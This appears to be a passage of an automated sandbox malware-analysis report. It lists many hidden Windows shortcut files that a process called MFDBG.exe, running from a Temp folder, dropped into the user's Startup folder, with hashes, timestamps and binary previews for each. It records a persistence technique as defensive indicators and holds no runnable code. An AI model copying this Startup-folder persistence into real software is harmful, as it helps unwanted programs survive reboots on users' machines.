File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:12 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927964954300208
Encrypted:	false
SSDEEP:	24:8NTBfo+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8vgTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1EDC9068D35D14DBC5EE2E264713E6BA
SHA1:	6E96E184DACE47689A243E05C895931415907F72
SHA-256:	95E7782ED5C15514106C6C756800A15D47542DD5205B3240A1A60A54BE0725A4
SHA-512:	DF5368BBFAEBED409D7C662898AA49BE5F05E288DE14716D98A51C1C3FA88AB9165E65BE9DA7803E49BB6D93F2B76F2C4E36DCC0D858590A3CC750CC0BADBB55
Malicious:	false
Preview:	L..................F....".......d...?.~$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....&b$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6c88f63d35a64e178ec22a3a96a18031.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:59 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928754907562094
Encrypted:	false
SSDEEP:	24:8B3BfG8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83TEvZ0yRO7DLO2zdxdRd1kyg
MD5:	073F294439951BBC1CEFE6C61CB5F603
SHA1:	59AB775CFE635D34C1E58B80F9AE5DF120A825EC
SHA-256:	DE2F3C8F621FD04D52BA021F6D47ABAC4905858EE467F3FEB2CDB516A3939F0D
SHA-512:	C245C229BD09421148C6F55A3142DAAA88CD399A308996574B742488C2DB30234ED9CE3EF995012DAA8F3134E637BCBA54FEF47C83F3256BA9D02803FA64E1E9
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....R.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6ca734028ed64fbd9bbaf3728dcc773a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932930127889107
Encrypted:	false
SSDEEP:	24:82BfOD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88bEvZ0yRO7DLO2zdxdRd1kyg
MD5:	193C27332ABD574979F02E22795CCD91
SHA1:	A2DA6A27CAC0DAFFD26E50EDA938470302606BD2
SHA-256:	4F75DBAE455503326F6EBF504C13982200C51D3282D4F7B0422DD34367492E10
SHA-512:	A7F6D9E3927DFD7268FA5DCAD0A3BA5D73DCFC87934B1D2CB669F981F6F4DA51D05AE8DD5959F74D7512239F1C188FEE4F7090A9CA086712D364E37883C7A3ED
Malicious:	false
Preview:	L..................F....".......d......~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6cc733e20d4b4acc8691209820ef34e2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930824084254249
Encrypted:	false
SSDEEP:	24:8dQBfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8dePEvZ0yRO7DLO2zdxdRd1kyg
MD5:	23D18C476533E8FC158A50F6546F9210
SHA1:	C260590D7D3DD35162610642BAE143A65ADED9CB
SHA-256:	F33880FD0505BE0453F3BDDF7FFB0EF5C5C8C745B1B31A744B54223082B4C19E
SHA-512:	7859363EFA8E107074AA32CC8FFBCCF1658D1082F1C0F102A26EBE29F18C74C43B833E0C8082E845D035E78E5E448DCF3A4FC915F873D299271B56ABE4A4F9F8
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6cc895eb70924c848955a6d0fdfcb55f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927299855179359
Encrypted:	false
SSDEEP:	24:81BfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83IEvZ0yRO7DLO2zdxdRd1kyg
MD5:	35AC16B829ECDB286B9FD246FF334511
SHA1:	37FCB6CA2919CAA84DA347789749A0F259988173
SHA-256:	1341C86DF5B8572C98DF02F862775E97878DD850718D0C584420205F78835544
SHA-512:	41D77A80E5F0D994B6DD092E65BF20B6EA7F2C4DE451107081458882EE2FA5FD0F4DB08FDA35D2DD0968788462ADEFC57EC59EF0355AB6189C7502BC388A8549
Malicious:	false
Preview:	L..................F....".......d.....'.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....".d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6d35d3f78b844aeda57d5e1f351b7ccd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:19 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929061969716803
Encrypted:	false
SSDEEP:	24:82Bfh48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88p9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	CC9D42CFA26E2C7A2DAD9066D726BC5F
SHA1:	401A7F7D6E8AE1754FF0F94C2434A4FF32ED9C99
SHA-256:	00FC5FC43F115EC88BB52EA3BF5019AEB257A46A161ED44625C8477E2005555D
SHA-512:	C0EFD9987F799C1958E103D90B6368ABC1D861E833E47BBB6F28AD60B30A1D8DC362CFCEB3D41919E269D5470FFA98DECE7A16E81ABFE74CC3D7C5D6395350C5
Malicious:	false
Preview:	L..................F....".......d...;..(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6d6340bdca4c4f0aacf69b49c204f7ab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.912519790475865
Encrypted:	false
SSDEEP:	24:8qBf6lf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8o2EEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AA7656DCD342E6FF29844DEA1B505E3F
SHA1:	F30BDCD62EBD93CB7EC55967615906AE1FA187FC
SHA-256:	FD516DCAF8B3AAB9E6E3E1AA21CFAFBA81BB8AD278284CC003EA1DE3686CCBF9
SHA-512:	DFFB1F4C40094A6B0765404E475AC8D7D0E872E8EFE319500C782DDD92B8E272D9162A8D1E19D25E22E48F6769E97E126C01538DDC9AC762B1DB754567ECE89B
Malicious:	false
Preview:	L..................F....".......d...3e..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...3e..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6da02a19a8bc40f0af7b043022e0191c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925579907976597
Encrypted:	false
SSDEEP:	24:8KBfn8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8IUEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EEA76B70354228EDB5474807737F54F7
SHA1:	7DC5242F0693452EFD41012F7899008FE9800909
SHA-256:	2F0C1263BD386B87E63573D8DC48BA006A5E57677485032E4754F28D85E8E223
SHA-512:	3DB6892B9B01ED5D716C9F27547CB27F69FCF1804DBE1A4D8C1FE07E9391E533FB0702E02003A7B6FE4EC7CECEFE0F757648EC6EB00A754359A715A7EDA302FF
Malicious:	false
Preview:	L..................F....".......d......~d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...l..~d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6db6193e78e742788bed73485bbe4374.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923022539785285
Encrypted:	false
SSDEEP:	24:8ksTBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8heEvZ0yRO7DLO2zdxdRd1kyg
MD5:	99442C1D2B701B24773F629DE129C8EA
SHA1:	2160512F74237DF26622E55531D77B7C0A14BD1D
SHA-256:	6C88473534382939A5D8618CA298CFCA4B0643EB95B738BA0587946E07B8C6F4
SHA-512:	1EE11FB97969E25B81C48C688A98FA427F22506D697BF78568E55B63475CD133B5C29AC479045A7DA7465E3B3ACC31345C2744867F0543DA15A1DA931CD76297
Malicious:	false
Preview:	L..................F....".......d...:.@$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6db8aa34a409419cb1df797123e6cc5f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920214099888585
Encrypted:	false
SSDEEP:	24:8XBf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3EBD38290983F625D64EA185F9AC74FA
SHA1:	C37F344CBFB5A0C24EAACD8D31AF06B70E628F30
SHA-256:	F9913FB8EE8291D7BD03E997ECD5B808248761456DEE19B42B41EFFEB192518A
SHA-512:	AB828E021C7BB4D1B1E072EC73DAC5A7243F502700805DEE5F18AB3B464D9EB2EA4307FDEEB4F506774BF053DC8381D5C07C7CEAA9B9EA01AA8B7CA8AE9A39BD
Malicious:	false
Preview:	L..................F....".......d......]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...&v.\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6e0be7a3bdae4aa5a2102b875eb3dfe2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9277317714751065
Encrypted:	false
SSDEEP:	24:8UBfLf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86QEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CCC3CB7B06C1771A92B5AF92D5F88F0E
SHA1:	0273258577D58ADF1AD0BC5A63B8BDA9D38D32A4
SHA-256:	30ED07A79247AAEA8E14ABCCEC92A3B448AB5214B0BDBA824567B64EC16D95BE
SHA-512:	6D72E043DB20EA243826DE4C82F8A1FA3B64FAC407EBDBAB7CBC01D3306FC88675DB8CB37B9029C895BBB578C4853A755831A74F45AEC686A7E78945C1D14CD1
Malicious:	false
Preview:	L..................F....".......d......[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6e3b326f686849d3aaa87f9eb5bf5353.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926792857225103
Encrypted:	false
SSDEEP:	24:8NfQBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NGhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3367BFDF6A50973C6BDF46D2F4F86F90
SHA1:	95697CAB9111C7DB6BA395981E88102CE18907BC
SHA-256:	C016619147F9EA5535D68503E96C270EDC41299F1F25542B5AD67BFFAD3BDFB9
SHA-512:	249D8E0D3CA49AB07757D71FC94B56FDE0A70CFDD3198BA7F77FDE69A265F3BE8ED283CBE2A3BD9980A1090AA124D685673A86071AF908FE269A31C207A7A47B
Malicious:	false
Preview:	L..................F....".......d...M..Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6eb0759fd2f543e3838e6f2895be0782.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924365643566811
Encrypted:	false
SSDEEP:	24:8XtuBfs68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8XtEcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5879507B88834454B2FE274ED7ACAE39
SHA1:	6B4883044F87719CEBB5DEC5BB7999CE2CCC0C6B
SHA-256:	AF5F2A2CCFEFE7E5E5F0952F222F3BFB08BD136A2A7AA4FE7DF7E67DDACBF975
SHA-512:	25AEDBAC88D4E2142AAD9942C4D229995E8B9468C3C7FD43F0916EDFB0DB17661A4A268697EDC5A1D77113BF68A34439C9F3B704DAA734B863CBEBC79FCFC510
Malicious:	false
Preview:	L..................F....".......d....r..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...p...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6fc910e111a642a9a0f17bb964eab590.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
